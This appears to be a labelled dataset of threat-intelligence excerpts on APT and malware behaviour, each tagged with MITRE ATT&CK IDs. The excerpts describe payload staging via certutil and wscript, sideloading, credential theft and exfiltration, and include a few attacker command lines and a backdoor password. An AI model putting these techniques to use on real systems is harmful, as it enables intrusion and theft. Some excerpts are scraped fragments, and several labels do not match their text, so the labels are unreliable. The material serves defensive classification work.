+HOLMIUM has been observed using various vectors for initial access, including spear-phishing email, sometimes carrying archive attachments that exploit the CVE-2018-20250 vulnerability in WinRAR, and password-spraying. Many of their recent attacks, however, have involved the penetration testing tool Ruler used in tandem with compromised Exchange credentials	['T1110.003']
+Completing missions typically involves gathering and transferring information out of the target network, which may involve moving files through multiple systems before reaching the destination. APT40 has been observed consolidating files acquired from victim networks and using the archival tool rar.exe to compress and encrypt the data before exfiltration. We have also observed APT40 develop tools such as PAPERPUSH to aid in the effectiveness of their data targeting and theft	['T1021.001']
+L“ServicesActive”: This string is passed to the OpenSCManagerW API to retrieve active services. expand 32-byte kexpand 16-byte”: The constants used by the Salsa20 symmetric encryption algorithm	['T1106']
+"It creates the folder ""\ProgramData\AuditService\"" and copies the clean file ""lsass.exe"" (taken from ""\Windows\System32\"") into the folder. The tainted ""services.exe"" installs ""\ProgramData\AuditService\lsass.exe"" as an autostart Windows service named ""Audit Service"". When the new ""lsass.exe"" service autostarts, the malicious file ""sspisrv.dll"" sideloads in the same folder. lsass.exe"" will eventually crash because of a failure to load other dependencies"	['T1543.003', 'T1569.002']
+Companies in multiple sectors are targeted in this campaign, including those operating in the automotive, pharmaceutical, and engineering sector, as well as managed service providers (MSPs	['T1078']
+Use of trusted channels: BoomBox is a uniquely developed downloader used to obtain a later-stage payload from an actor-controlled Dropbox account. All initial communications leverage the Dropbox API via HTTPS. Opportunity for restraint: Consistent with other tools utilized by NOBELIUM, BoomBox, VaporRage, and some variants of NativeZone conduct some level of profiling on an affected system’s environment. Ambiguity: VaporRage is a unique shellcode loader seen as the third-stage payload. VaporRage can download, decode, and execute an arbitrary payload fully in-memory. Such design and deployment patterns, which also include staging of payloads on a compromised website, hamper traditional artifacts and forensic investigations, allowing for unique payloads to remain undiscovered	['T1071.001']
+"The maldocs used in this campaign typically contain a malicious VBA macro that downloads and activates the next stage of the infection chain. Although the VBA macro contains an auto open subroutine, it uses several VBA functions registered to trigger if the ""Typing replaces selection"" property is enabled in Microsoft Word. The VBA functions trigger when the victim types any content into the maldoc. Appdata%\desktop.iniThe next stage of the VBS is run using wscript.exe using a command such as:%windir%\System32\wscript.exe //e:vbscript //b <path_to_Stage_2>Macros dropping VBS to disk and running via wscript.exe"	['T1204.002', 'T1059.005', 'T1059.005']
+The stage 2 payload for the macOS X malware was decoded and analyzed. The stage 2 malware has a variety of functionalities. Most importantly, it checks in with a C2 and, after connecting to the C2, can send or receive a payload, read and write files, execute commands via the terminal, etc	['T1140']
+Using the built-in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will expand the CAB file and write the results to the provided directory	['T1140']
+In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. Additionally, the process attempts to lower the overall security of the system by disabling security features in Microsoft Office and Windows Defender. The payloads themselves are rather interesting, as the developer wraps the malicious code with legitimate source code freely available online	['T1204.002']
+This data is gathered into an information structure which the RAT zips with an 8 bytes random generated password, which is then XORed with one byte	['T1560']
+On another occasion, CVE-2021-26411 was used, which is another exploit targeting Internet Explorer and legacy versions of Microsoft Edge. The redirect code was set up in the same way as CVE-2020-1380, the only difference being the exploit code used. The key part of the exploit code used is given in Figures 3 and 4	['T1203']
+The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data	['T1003.006']
+"TA416 has used SMTP2Go to impersonate various European diplomatic organizations since at least 2020. In this historical campaign, TA416 delivered a DropBox URL that delivered a PlugX variant aligning with Recorded Future’s analysis of ""Red Delta"" PlugX malware. Included below is a publicly available malicious Zip file hash from August 2020 delivered via a DropBox URL which is attributable to TA416/Red Delta"	['T1102']
+"One, called ""frown.py,"" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. The RAT will answer the ""who"" command with a string that contains the username, computer name and the previously generated UUID. The ""ice"" command simply makes the RAT finish the connection procedure. This is responsible for the interpretation and execution of the C2 commands. The available commands are"	['T1573.002']
+The use of the web bug reconnaissance technique suggests TA416 is being more discerning about which targets the group chooses to deliver malware payloads. Historically, the group primarily delivered web bug URLs alongside malware URLs to confirm receipt. In 2022, the group started to first profile users and then deliver malware URLs. This may be an attempt by TA416 to avoid having their malicious tools discovered and publicly disclosed. By narrowing the lens of targeting from broad phishing campaigns to focus on targets that have proven to be active and willing to open emails, TA416 increases its chance of success when following up with malicious malware payloads	['T1566.002']
+In such a situation, the malware will find and run the built-in Microsoft Windows InfDefaultInstall.exe program, which will install a DLL via an INF file. Should Tencent be installed, the malware will execute the InfDefaultInstall.exe program with an argument of ‘QQMgr.inf’. Otherwise, it will use ‘hccutils.inf’ as an argument	['T1574.002']
+Multiple samples contain UAC bypass code for both 32 and 64-bit systems. The UAC bypass code is stored as 'DAT' in the file's resource section	['T1548.002']
+On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry. Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158. It is worth noting that this email appeared to have been sent from another Taiwanese Government employee, implying that the email was sent from a valid but compromised account	['T1204.002', 'T1566.001']
+After successful lateral movement, the attackers tried to establish persistency on selected servers –targeting all domain controllers, but also other servers. To achieve persistency, they used WMI Event Subscription with a few different WMI objects	['T1018']
+Figure 3 shows a code excerpt from the embedded macro that checks which base64 blob should be decoded based on the iCheck variable, a Boolean value which is set to true if the victim system is running on a 64-bit system and false on a 32-bit system. If the system is found to be 64-bit, the base64 encoded blob on the left is decoded otherwise the base64 encoded blob on the right is decoded	['T1082']
+The macro prepends the string -----BEGIN CERTIFICATE----- to the beginning of the base64 encoded payload and appends -----END CERTIFICATE----- to the end of the data. The macro then writes this data to a text file in the C:\Programdata folder using a random filename with the .txt extension. The macro then uses the command certutil -decode to decode the contents of this text file and outputs the decoded content to a randomly named file with a .exe extension in the C:\Programdata folder. The newly dropped executable is a loader Trojan responsible for installing and running the payload of this attack. Overall, SofacyCarberp does initial reconnaissance by gathering system information and sending it to the C2 server prior to downloading additional tools to the system. These differences include a new hashing algorithm to resolve API functions and to find running browser processes for injection, as well as changes to the C2 communication mechanisms as explained in detail within the appendix. Open-source Delivery Document Generator It appears that Sofacy may have used an open-source tool called Luckystrike to generate the delivery document and/or the macro used in this attack. Luckystrike, which was presented at DerbyCon 6 in September 2016, is a Microsoft PowerShell-based tool that generates malicious delivery documents by allowing a user to add a macro to an Excel or Word document to execute an embedded payload. To confirm our suspicions, we generated a malicious Excel file with Luckystrike and compared its macro to the macro found within Sofacy's delivery document. We found that there was only one difference between the macros besides the random function name and random cell values that the Luckystrike tool generates for each created payload	['T1105']
+As Hui explains, this happens because ngrok.io URLs stay online for only around 12 hours, and by the time security researchers identify a new C&C URL, the ngrok.io link changes to a new one, hiding the botnet from researchers once more. This allows the botnet to survive more than other botnets that host C&C servers on popular hosting platforms where security firms can usually intervene via abuse requests	['T1568.002']
+As mentioned, FALLCHILL was reported as the final payload for Celas Trade Pro. All FALLCHILL samples use 16-byte hardcoded RC4 keys for sending data, similar to the 16-byte keys in the AppleJeus samples	['T1573.001']
+If the connection to the C2 server is successful, the script parses the output and invokes it using IEX. The script sleeps for a random number of seconds between 60 and 100 after each attempt to reach the C2. The GET requests will be parsed by LitePower and invoked using PowerShell’s IEX function	['T1059.001', 'T1071.001']
+It only installs the second-stage script in the default registry value under the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot. Variant B registers a scheduled task named Sibot and programmed to run daily. This task, which is saved by Windows in the file C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\sibot, runs the following command-line daily	['T1112']
+The exploit used, named EternalBlue, exploits a vulnerability in the Server Message Block (SMB) protocol which allows the malware to spread to all unpatched Windows systems from XP to 2016 on a network that have this protocol enabled. This vulnerability allows remote code execution over SMB v1. WannaCry utilizes this exploit by crafting a custom SMB session request with hard-coded values based on the target system	['T1210']
+networkDll32 Trickbot uses this encrypted module to scan the network and steal relevant network information. It executes the following commands to gather information on the infected system	['T1016']
+Embedded Downloader Trojan The M payload (referenced previously along with the R payload, above) injected and executed within the memory space of the other process is a downloader Trojan. This specific downloader appears to have been created using a VB2Exe tool, as the functional code that carries out the downloading functionality exists as a VBScript embedded within the payload. The payload extracts this VBScript from a resource and saves it to a file that it extracts from another resource	['T1059.005']
+The folder C:\Users\Public\Administrador\logs\ is created to store screenshots, as well as the number of mouse clicks the user has triggered while browsing the banking sites (Figure 12). The screenshots are continuously saved as .jpg images	['T1119']
+The official AutoIt3 interpreter comes as part of the AutoIt installation package, and it is used by the malware to execute the compiled script. The VBS script runs the AutoIt interpreter, passing the compiled script as an argument. Once executed, it loads the library, which was also passed as an argument to call a hardcoded exported function	['T1059.005']
+1) Resolves WINAPI functions 2) Hides its GUI using ShowWindow WINAPI call 3) Compares if the DLL is being ran by wmplayer	['T1564.003']
+BADNEWS Much of BADNEWS has remained consistent from when it was originally discussed by Forcepoint in August 2016. To briefly recap, the BADNEWS malware family acts as a backdoor, with communication occurring over HTTP. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop	['T1102.001']
+Throughout the years, Kimsuky has been using an array of malware in their operations. The infrastructure of some of the malware used by Kimsuky can be tracked using pattern analysis of the URI structures used by some of their tools. The following table maps commonly observed URI patterns to their respective malware	['T1566.001']
+This is not the first time Turla has used PowerShell in-memory loaders to increase its chances of bypassing security products. After a few months, Turla has improved these scripts and is now using them to load a wide range of custom malware from its traditional arsenal. PowerShell Loader . The PowerShell loader has three main steps: persistence, decryption and loading into memory of the embedded executable or library. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload. WMI consumer PowerShell command . Finally, the script stores the encrypted payload in the Windows registry. Hijacked profile.ps1 file . The base64-encoded PowerShell command is very similar to the one used in the WMI consumers. The key and the salt are also different for each script and are not stored in the script, but only in the WMI filter or in the profile.ps1 file. Patching of AmsiScanBuffer function . Payloads . The PowerShell scripts we have presented are generic components used to load various payloads, such as an RPC Backdoor and a PowerShell backdoor. We have seen operators use this backdoor for the following purposes: Conclusion . In a 2018 blogpost, we predicted that Turla would use more and more generic tools. Finally, the usage of open-source tools does not mean Turla has stopped using its custom tools	['T1140']
+This appears to be an implementation of hashbusting — a method of obfuscation in which a malware sample is subtly changed on the fly so each sample has a different checksum. As a result, the SHA256 hash of each payload downloaded from the sites in question appeared to be unique. However, the SSDEEP fuzzy hash of this sample was as follows	['T1027.005']
+By using these methods, Kimsuky can gain login and password information and/or launch malware outside of some application allowlisting solutions	['T1133']
+Once delivered, Egregor will perform a sequence of language checks in a similar manner to both Maze and Sekhmet, before attempting to enumerate all connected drives. If successful, it connects to a command and control (C2) server to grab a list of directories present on the enumerated drives to search. Any files in these directories are then extracted and sent back to the C2 server	['T1039']
+After the driver is loaded, the VSS service is disabled using the Control Service Manager. Following this, a number of additional threads are created. A thread is created to handle the system reboot. It will sleep for the time specified by a command line parameter of 35 minutes, at which point the system will be restarted by an API call to InitializeSystemShutdownExW	['T1134']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘net time' command to check the local time on the target system. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. Use an advanced endpoint threat detection (AETD) solution to monitor activity on network endpoints. In particular, review network access for use of mobile USB modems on corporate systems	['T1124']
+The hooked WriteFile procedure’s main purpose is to save the file handle of the subject file to write and install another hook in the CloseHandle API function	['T1005']
+The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators	['T1587.001']
+The first layer of the FYAnti loader decrypts an embedded .NET module and executes it using the CppHostCLR technique. The .NET module is packed using “ConfuserEx v1.0.0” and acts as yet another loader that searches for a file in the “C:\Windows\Microsoft.NET\” directory with file sizes between 100,000 and 500,000	['T1027.002', 'T1083']
+Once gaining a foothold, the threat actors use off-the-shelf tools to ensure persistence, including Remote Desktop Protocol (RDP) to maintain access. While GDPR requirements prevented us from pivoting on Registrant information, the actors reused IP space, reused a certificate, and the aforementioned domain mimicking technique allowed for some pivoting. Toolset . Once gaining a foothold on a user’s system, the threat actors behind STOLEN PENCIL use Microsoft’s Remote Desktop Protocol (RDP) for remote point-and-click access. This means a human is behind the keyboard interacting with a compromised system, and not using a RAT (Remote Access Trojan) with a command-and-control site acting as a proxy between the threat actor and the compromised system. A compromised or stolen certificate was used to sign several PE files used in STOLEN PENCIL for two sets of tools: - MECHANICAL Logs keystrokes to %userprofile%\appdata\roaming\apach. GREASE a tool to add a Windows administrator account with a specific username/password and enable RDP, circumventing any firewall rules. defaultes/1qaz2wsx#EDC - a tool to add a Windows administrator account with a specific username/password and enable RDP, circumventing any firewall rules. Figure 5: Certificate used to sign MECHANICAL/GREASE While the threat actors did use a few tools to automate intrusions, we also found a ZIP archive of tools that demonstrate their propensity for password theft to propagate. Using a combination of stolen passwords, backdoor accounts, and a forced-open RDP service, the threat actors are likely to retain a foothold on a compromised system. Conclusion . While we were able to gain insight into the threat actor’s TTPs (Tools, Techniques, & Procedures) behind STOLEN PENCIL, this is clearly just a small window into their activity	['T1078.003']
+This simple backdoor is likely used as a second-chance backdoor to maintain access to the system, even if the primary malware is removed. It could also be used as a second-stage dropper to infect the system with additional malware	['T1105']
+Layer 2 uses a classic Adobe Flash Player Vector corruption technique to develop its heap corruption vulnerability to a full relative read/write available to ActionScript3. In this technique, the attacker sprays Adobe Flash Player Vectors to the heap, and triggers a write vulnerability to change the size of one of the vectors. For more details on this technique, see Flash in 2015	['T1203']
+Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\railways.ir\sysvol\railways.ir\scripts\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat and bcd.bat. Corrupt the boot: bcd.bat is used in order to harm the boot process	['T1059.001', 'T1489']
+The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server	['T1105', 'T1059.003', 'T1071.004']
+As mentioned in our earlier technical report on Trojan.Hydraq, the back door allows the attacker to perform any of the following activities: - Adjust token privileges. Check status, control, and end processes and services. Create, modify, and delete registry subkeys. Retrieve a list of logical drives	['T1083']
+The actor then tested connectivity to an IP managed by the victim’s service provider. Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor. This effectively routes SOGU malware traffic through the victim’s service provider, which likely indicates a foothold on the service provider’s network. The tactic also serves to mask malicious C2 and exfiltration traffic and make it appear innocuous	['T1090.002']
+"The malware component, test.exe, uses the Windows command ""cmd.exe"" /C whoami” to verify it is running with the elevated privileges of “System” and creates persistence by creating the following scheduled task"	['T1059.003', 'T1053.005', 'T1033']
+The download process is the same with the previous variant, the loader resolves the command and control server IP address using a hardcoded list of DNS servers and then downloads the corresponding file. An interesting addition, in the latest samples, is the use of an alternative command and control server IP address, in case the primary one fails. The alternative IP address is generated by applying a bitwise XOR operation to each byte of the resolved command and control IP address with the byte 0xFE. In addition, as a possible anti-behaviour method, the loader verifies that the command and control server IP address is not ‘127.0.0.1’. Both of these methods are also present in the latest Team9 backdoor variants	['T1008']
+Audit all remote authentications from trusted networks or service providers. Detect mismatches by correlating credentials used within internal networks with those employed on external-facing systems. Log use of system administrator commands such as net, ipconfig, and ping	['T1133']
+1) Use PowerShell Constrained Language Mode as it uses IEX, Add-Type, and New-Object. 2) Lock PowerShell Execution Policy, must be set to “AllSigned” via GPO. 3) An allowlisting solution to prevent certain process child-parent execution hierarchies	['T1559.002']
+The main functionality of the macros remained the same as in a previous APT34 campaign: The malicious macros use the MouseAvailable function for evasion, and create a scheduled task to execute a payload embedded within the document	['T1053.005']
+Since the 2016 publication, Microsoft has come across an evolution of PLATINUM’s file-transfer tool, one that uses the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication	['T1105']
+Maze creates a mutex with the name “Global\x” where x is a special value that is unique per machine. For example, in the next screenshot (some information has been deleted to anonymize the machine used for the analysis) is an example of this behavior	['T1047']
+Additionally, one of the samples is able to capture screenshots of the infected system. To perform this task, the developer used the GDI API: A keylogger is also present in the analyzed sample. The SetWindowsHookEx() API is used to retrieve the stroked keys. The GetKeyNameText() API is used to retrieve a string that represents the name of a key. In addition to the key, the title of the foreground window is stored in order to known where the infected user is typing (by using the GetForegroundWindow() and GetWindowText() API	['T1113']
+Endpoint Protection . Buckeye cyberespionage group shifts gaze from US to Hong Kong . Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. Symantec has identified additional tools used by the group, which will be discussed later. Organizations that Buckeye targeted over time, per region . Malware and tools . Buckeye uses a number of hacking tools as well as malware. Buckeye uses Backdoor.Pirpi, a remote access Trojan capable of reading, writing, and executing files and programs. As mentioned previously, Buckeye also uses a number of hacking tools, including the following: Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister. RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool. On execution, the tool injects itself into lsass.exe and is triggered with the argument “dig”. OSinfo: OSInfo is a general purpose, system information gathering tool. It has the following command line argument help: ChromePass: A tool from NirSoft used for recovering passwords stored in the Chrome browser. This, coupled with the group’s use of zero-day exploits in the past, customized tools, and the types of organizations being targeted would suggest that Buckeye is a state-sponsored cyberespionage group	['T1059.003']
+Just like Rampant Kitten, both threat groups attempted to gather information from the Keepass password manager and changed the execution flow of Telegram Desktop to ensure the persistence of their malware	['T1555.005']
+In this campaign, Palmerworm is also using stolen code-signing certificates to sign its payloads, which makes the payloads appear more legitimate and therefore more difficult for security software to detect. Palmerworm has been publicly documented using stolen code-signing certificates in previous attack campaigns	['T1588.003']
+After the malware is downloaded and files verified, the script will check in the C:\Program Files\ directory for the presence Avast antivirus, which happens to be the most common installed AV worldwide	['T1518.001']
+"Monday, February 12, 2018 . Olympic Destroyer Takes Aim At Winter Olympics . This blog post is authored by Warren Mercer and Paul Rascagneres. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This feature explains why we discovered several samples with different sets of credentials that were collected from previously infected systems. Dropped Files . Browser Credential Stealer . Olympic Destroyer drops a browser credential stealer. SQLite is embedded in the sample: . System Credential Stealer . In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. This step is executed to ensure that file recovery is not trivial - WBAdmin can be used to recover individual files, folders and also whole drives so this would be a very convenient tool for a sysadmin to use in order to aid recovery. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started. Legitimate File . Additionally, the Olympic Destroyer drops the legitimate, digitally signed, PsExec file in order to perform lateral movement by using this legitimate tool from Microsoft. categories . Subscribe To Our Feed . Blog Archive . - - - - - - - - - - - - ▼ February (14) CannibalRAT targets Brazil Who Wasn’t Responsible for Olympic Destroyer"	['T1490']
+To install a malicious shim database, the attacker invokes a Microsoft utility called sdbinst.exe through a PowerShell script	['T1059.001']
+When connecting to web shells on a target network GALLIUM has been observed employing Taiwan-based servers. Observed IP addresses appear to be exclusive to GALLIUM, have little to no legitimate activity, and are reused in multiple operations. These servers provide high fidelity pivot points during an investigation	['T1583.004']
+During this process, the adversary identifies data of interest from the network of the victim. This can be anything from file and directory-listings, configuration files, manuals, email stores in the guise of OST- and PST-files, file shares with intellectual property (IP), and data scraped from memory. If the data is small enough, it is exfiltrated through the command and control channel of the Cobalt Strike beacons. However, usually the data is compressed with WinRAR, staged on another system of the victim, and from there copied to a OneDrive-account controlled by the adversary	['T1114.001', 'T1083']
+As the result of the RC4 encryption may contain binary data, the malware additionally encodes it in BASE64, to match the HTTP specification	['T1132.001']
+We attribute this campaign with high confidence to an actor named WIRTE, which is a lesser-known threat actor first publicly referenced by our colleagues at Lab52 in 2019. We further suspect, with low confidence, that the WIRTE group has relations with the Gaza Cybergang threat actor	['T1036.005']
+1) QEMU Linux images. 2) Shell scripts used to launch the QEMU images. 3) Daemons used to start the shell scripts at boot and keep them running. 4) A CPU monitor shell script with an accompanying daemon that can start/stop the mining based on CPU usage and whether the Activity Monitor process is running	['T1059.004']
+Retefe is different from most banking Trojans, which typically attack web browser software to capture login credentials before they are encrypted with SSL and sent to the bank’s web server. Instead, Retefe uses the Windows PowerShell to execute a series of commands that installs a new root certificate on the system and a proxy configuration to re-route the traffic to the targeted banking websites	['T1553.004']
+Remote desktop available via VNC. Hidden Remote desktop available via RDPWrap. Privilege escalation (even for the latest Win10 updates) Remote WebCam control. Remote Shell. Remote desktop available via VNC. Hidden Remote desktop available via RDPWrap. Remote Shell. Remote desktop available via VNC. Hidden Remote desktop available via RDPWrap. Privilege escalation (even for the latest Win10 updates) - Remote WebCam control	['T1021.005']
+The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat and bcd.bat. Corrupt the boot: bcd.bat is used in order to harm the boot process	['T1070.001']
+The tool is used to hide the threat actors’ tools and services. The tool’s configuration was added to registry run keys on a victim’s computer	['T1547.001', 'T1112']
+When loaded with startup command 2, the installer can copy the original explorer.exe file inside its current running directory and rename d3d9.dll to uxtheme.dll. In this case the persistence is achieved by loading the original explorer.exe from its startup location and, using DLL side-loading, passing the execution control to the stage 4 malware (discussed in next section	['T1036.005']
+After all the initial HTTP GET requests, the malware starts to gather JSON-formatted system data. For all the fixed drives in the system, the network module stores the disk name and size, as well as computer and user name, Windows directory, host IP, etc	['T1082']
+Backdating, or timestomping, is a technique used by many threat actors which involves the manipulation of the creation timestamps or compilation date of a file in order to thwart analysis attempts (anti-forensics). It is suspected that the creation date of most of the files mentioned in this report were tampered with by the threat actors and backdated to 2016	['T1070.006']
+KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms	['T1083']
+RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool. Usage is: %s shareIp domain [USER INFORMATION||[USER NAME AND PASSWORD]] [/run:[COMMAND	['T1569.002', 'T1053.005']
+The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase	['T1569.002']
+Typical file exfiltration modules deployed by threat actors usually consist of the ability to enumerate and exfiltrate files. These implants enumerate files in specific drives or directories and exfiltrate the file lists first. Once the attackers identify the files of interest, the module is instrumented for exfiltration of the files.The VBScript-based file recon module used by the attackers is somewhat different. It downloads a file listing from a remote location that contains the file paths of specific files of interest to the attackers. The file listing is so precise that the attackers know the exact file paths of the files they're looking for on an infected endpoint. This prevents re-infection of the target.A marker file is created in an attacker-specified folder and is checked before the exfiltration module begins its malicious activities. If the marker file is not found, the module will proceed with its recon and exfiltration activities.In August 2021, we saw a minor variation of the same script being deployed in the wild. Instead, it's hardcoded into the scripts showing that the attackers already know the identities of the targets that they are trying to infect. This indicates that this is a highly targeted attack.In October 2021, we observed another update in the file exfiltration scripts	['T1083']
+After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks	['T1105']
+NCCIC observed multiple methods used by NotPetya to propagate across a network. The first and—in most cases—most effective method, uses a modified version of the Mimikatz tool to steal the user’s Windows credentials. The cyber threat actor can then use the stolen credentials, along with the native Windows Management Instrumentation Command Line (WMIC) tool or the Microsoft SysInternals utility, psexec.exe, to access other systems on the network. Another method for propagation uses the EternalBlue exploit tool to target unpatched systems running a vulnerable version of SMBv1	['T1003.001']
+At face value, ISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com. The first execution of ISMInjector starts by copying itself to %localappdata%\srvBS.txt and enables persistent access to the system	['T1027']
+Speaking on the vulnerability leveraged by this attack, while we spotted the attack performed via Office 2007 running on Windows XP, this is actually a fault existing in a TIFF-processing component shipped with Microsoft Office. Therefore, not only are Office 2007 with Windows XP vulnerable to this attack, but also more environments are affected by this vulnerability. In addition, our later research showed this exploit also works on Office 2007 running on Windows 7. The Labs has been actively working on getting every piece of details of this exploit, we may share our additional findings in the near future	['T1203']
+Volexity has identified multiple new attack campaigns being launched by OceanLotus via multiple fake websites and Facebook pages that have been set up within the last year. In addition to targeting those within Vietnam, Volexity has seen renewed targeting of OceanLotus's neighbors throughout Southeast Asia. These websites have been observed profiling users, redirecting to phishing pages, and being leveraged to distribute malware payloads for Windows and OSX. This post will focus on one of the larger campaigns where OceanLotus has leveraged multiple fake news websites to target users	['T1585.001']
+modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed) to maintain access to credentials and certain permission levels within an environment (Account Manipulation [T1098]) - Steal the credentials of a specific user or service account to bypass access controls and retain access to remote systems and externally available services (Valid Accounts [T1078]) - Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution for lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job [T1053]) - Abuse the Windows DLLs search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence (Hijack Execution Flow: DLL Search Order Hijacking [T1056.004]) - Exploit hooking to load and execute malicious code within the context of another process to mask the execution, allow access to the process’s memory, and, possibly, gain elevated privileges (Input Capture: Credential API Hooking [T1574.001]) - Use remote services to persist within a victim’s network (External Remote Services [T1133	['T1505.003', 'T1569.002', 'T1053.005']
+The shellcode uses a 16-byte XOR key for decrypting the data as shown in Figure 10	['T1140']
+Recent samples, with the ability to discover wireless network settings and credentials will spawn an instance of netsh.exe after a brief sleeping period (after launch). The syntax utilized initially is	['T1016']
+TA551 has distributed different families of malware, including Ursnif (Gozi/ISFB), Valak and IcedID. TA551 malspam spoofs legitimate email chains based on data retrieved from previously infected Windows hosts. This is a generic statement asking the recipient to open an attached ZIP archive using the supplied password. File names for the ZIP archives use the name of the company being spoofed in the email. For example, if the spoofed sender is someone@companyname.com, the ZIP attachment would be named companyname.zip. In 2020, we also started seeing emails with info.zip or request.zip as the attached ZIP archive names. These password-protected ZIP attachments contain a Word document with macros to install malware. File names for the extracted Word documents follow noticeable patterns that have evolved as this campaign has progressed. URLs generated by the associated Word macros also follow noticeable patterns that have also evolved as this campaign has progressed	['T1566.001']
+This section describes how we identified additional Stealth Falcon victims and bait content, and traced Stealth Falcon’s spyware to additional C2 servers	['T1071.001']
+Talos has identified two different infection vectors associated with this particular campaign. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine. The stager will be described in more detail in the next section	['T1059.001']
+Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections. The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections	['T1070.005']
+The malware then allows the user to open the file as normal without any indication to the user that anything has occurred	['T1074.001']
+These keystrokes would run PowerShell commands that downloaded and installed various malware strains that acted as backdoors for the attackers into the victims’ networks	['T1091']
+SlideShare uses cookies to improve functionality and performance, and to provide you with relevant advertising. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. Details a massive intrusion by Russian APT29 (AKA CozyDuke, Cozy Bear) . Every IR presents unique challenges. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. RAR) included deleted items in Accessed Files STEALTHYATTACKER FUN FACT: Now it’s built-in. DERBYCON 2016 #NOEASYBREACH Matt Dunwoody @matthewdunwoody Nick Carr @itsreallynick 22 likes . Views . You have now unlocked unlimited access to 20M+ documents. Unlimited Reading . Learn faster and smarter from top experts . Unlimited Downloading . Download to take your learnings offline and on the go . You also get free access to Scribd. Instant access to millions of ebooks, audiobooks, magazines, podcasts and more. Free access to premium services like Tuneln, Mubi and more. Enjoy access to millions of ebooks, audiobooks, magazines, and more from Scribd	['T1070.004']
+In the course of our research we uncovered the activity of a hacking group which has Chinese origins. This group was named “Winnti	['T1083']
+Pass Logger -> a credential stealer, used for stealing credentials stored in the Chrome, Firefox and Opera browsers	['T1555.003']
+Note: the NTRUEncrypt public key cryptosystem encryption algorithm (NTRU), is a lattice-based alternative to Rivest-Shamir-Adleman, known as RSA, and Elliptic-curve cryptography, or ECC, and is based on the shortest vector problem in a lattice	['T1486']
